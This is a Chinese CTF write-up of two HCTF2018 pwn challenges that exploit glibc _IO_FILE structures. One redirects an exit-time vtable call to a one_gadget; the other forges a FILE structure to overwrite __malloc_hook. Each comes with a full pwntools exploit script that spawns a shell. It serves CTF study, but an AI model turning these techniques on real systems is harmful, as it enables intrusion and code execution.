HCTF2018 the_end&&babyprintf_var2 Writeup HCTF2018 the_end&&babyprintf_var2 Writeup written by catling 周末做了HCTF2018的兩個pwn題目,都是_IO_FILE相關利用,這裡簡單總結分析一下。 the_end 這個題目邏輯很簡單,5次任意地址寫1byte,而且已經有了libc的地址,關鍵是往哪裡寫。 exit()函數先會進行一些清理工作,然後再中斷程序,在跟蹤的時候發現有這樣的一個跳轉 這裡的call跳轉是根據虛表決定的 同時發現,在call執行的時候,有一個輸入的數據在棧上,於是採用跳gadget的方式,最後一次輸入one_gadget的地址,然後用一個add rsp, 0x80;ret;的語句跳到one_gadget上去。 由於關閉了stdoutget shell後重定位恢復即可。exp:from pwn import * import os context.log_level = debug env = os.environ env[LD_PRELOAD] = ./libc64.so libc = ELF(./libc64.so) p = process(./the_end, env = env) p.recvuntil("here is a gift ") leak = int(p.recv(14),16) log.info("leak libc addr is " + hex(leak)) p.recvuntil("luck ") libc_base = leak - 0xcc230 log.info("libc base is " + hex(libc_base)) one_gadget = libc_base + 0x4526a log.info("one_gadget is " + hex(one_gadget)) offset1 = libc_base + 0x3c56f8 offset2 = libc_base + 0x3c4b00 change1 = libc_base + 0x3c4aa8 change2 = libc_base + 0x8400D p.send(p64(offset1)) sleep(0.1) p.send(p8(int(0x+hex(change1)[-2:],16))) sleep(0.1) p.send(p64(offset1+1)) sleep(0.1) p.send(p8(int(0x+hex(change1)[-4:-2],16))) sleep(0.1) p.send(p64(offset2)) sleep(0.1) p.send(p8(int(0x+hex(change2)[-2:],16))) sleep(0.1) p.send(p64(offset2+1)) sleep(0.1) p.send(p8(int(0x+hex(change2)[-4:-2],16))) sleep(0.1) p.send(p64(one_gadget)) sleep(0.1) p.send(p8(0x1)) sleep(1) p.interactive() babyprintf_var2 先看一下保護措施,由於有FORTIFY,而且libc的版本是2.27,所以不能使用格式化字元串的思路,而且出題人故意給棧上填充了很多數據,所以不能使用格式化字元串的思路來leak地址或者修改內存。 所以這題目和the_end一樣,考察對_IO_FILE的利用 在main()函數中,現將stdout的虛表指針取出來,後面判斷,如果不對的話,再把指針寫回去(是寫回去,不是直接終止程序)。所以我們就有了一個可以控制的_IO_FILE結構。跟蹤一下__printf_chk()函數,可以看見調用了vfprintf()隨後調用了_IO_file_xsputn(),並且第二個參數是我們輸入的字元, 後面為了清楚我們直接看程序的源碼。 這裡_flags & _IO_LINE_BUF執行為0,所以執行後面else if的語句,如果count大於0並且大於to_do的話,執行__mempcpy,同時count控制了複製的長度。 所以只要修改_IO_write_ptr和_IO_write_end就可以進行任意地址寫,寫的內容為我們輸入的字元。 我的做法是改寫malloc_hook,用libc報錯觸發malloc_hook_flags=0xfbad2887 _fileno=1 _lock= 一個可寫地址 _IO_write_ptr=malloc_hook _IO_write_end=malloc_hook+8 Exp:from pwn import * import os env = os.environ env[LD_PRELOAD] = ./libc64.so context.log_level = debug libc = ELF(./libc64.so) def struct_io_file(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0, _IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0, _IO_buf_base=0,_IO_buf_end=0, _IO_save_base=0,_IO_backup_base=0,_IO_save_end=0, _markers=0,_chain=0,_fileno=0,_flag2=0,_lock=0): f = p64(_flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) + p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(_chain) + p64(_fileno) + p64(_flag2) + p64(0) + p64(_lock) f = f.ljust(0xd0,x00) return f p = process(./babyprintf_ver2,env=env) p.recvuntil("So I change the buffer location to ") text_addr = int(p.recv(14), 16) log.info("test addr is " + hex(text_addr)) text_base = text_addr - 0x202010 log.info("text base is " + hex(text_base)) p.recvuntil("Have fun! ") p.sendline(a*16 + p64(text_addr+32) + p64(0) + struct_io_file(_flags=0xfbad2887,_fileno=1, _IO_write_base=(text_base+0x0000000000201FB0), _IO_write_ptr=text_base+0x0000000000201FB0+8, _IO_read_end=text_base+0x0000000000201FB0, _lock=text_addr+0x100) ) p.recvuntil(rewrite vtable is not permitted! ) leak = u64(p.recv(8)) libc_base = leak - libc.symbols[puts] log.info("libc base is " + hex(libc_base)) p.recv() malloc_hook = libc_base + libc.symbols[__malloc_hook] one_gadget = libc_base + 0x4f322 p.sendline(p64(one_gadget)*2+p64(text_addr+32)+p64(0)+ struct_io_file(_flags=0xfbad2887, _fileno=1, _lock=text_addr+0x150, _IO_write_ptr=malloc_hook, _IO_write_end=malloc_hook+8)) sleep(1.1) log.info("malloc hook is " + hex(malloc_hook)) log.info("one_gadget is " + hex(one_gadget)) p.sendline("%n%n%n%n") sleep(0.1) p.interactive() 推薦閱讀: 相关文章 {{#data}} {{title}} {{/data}}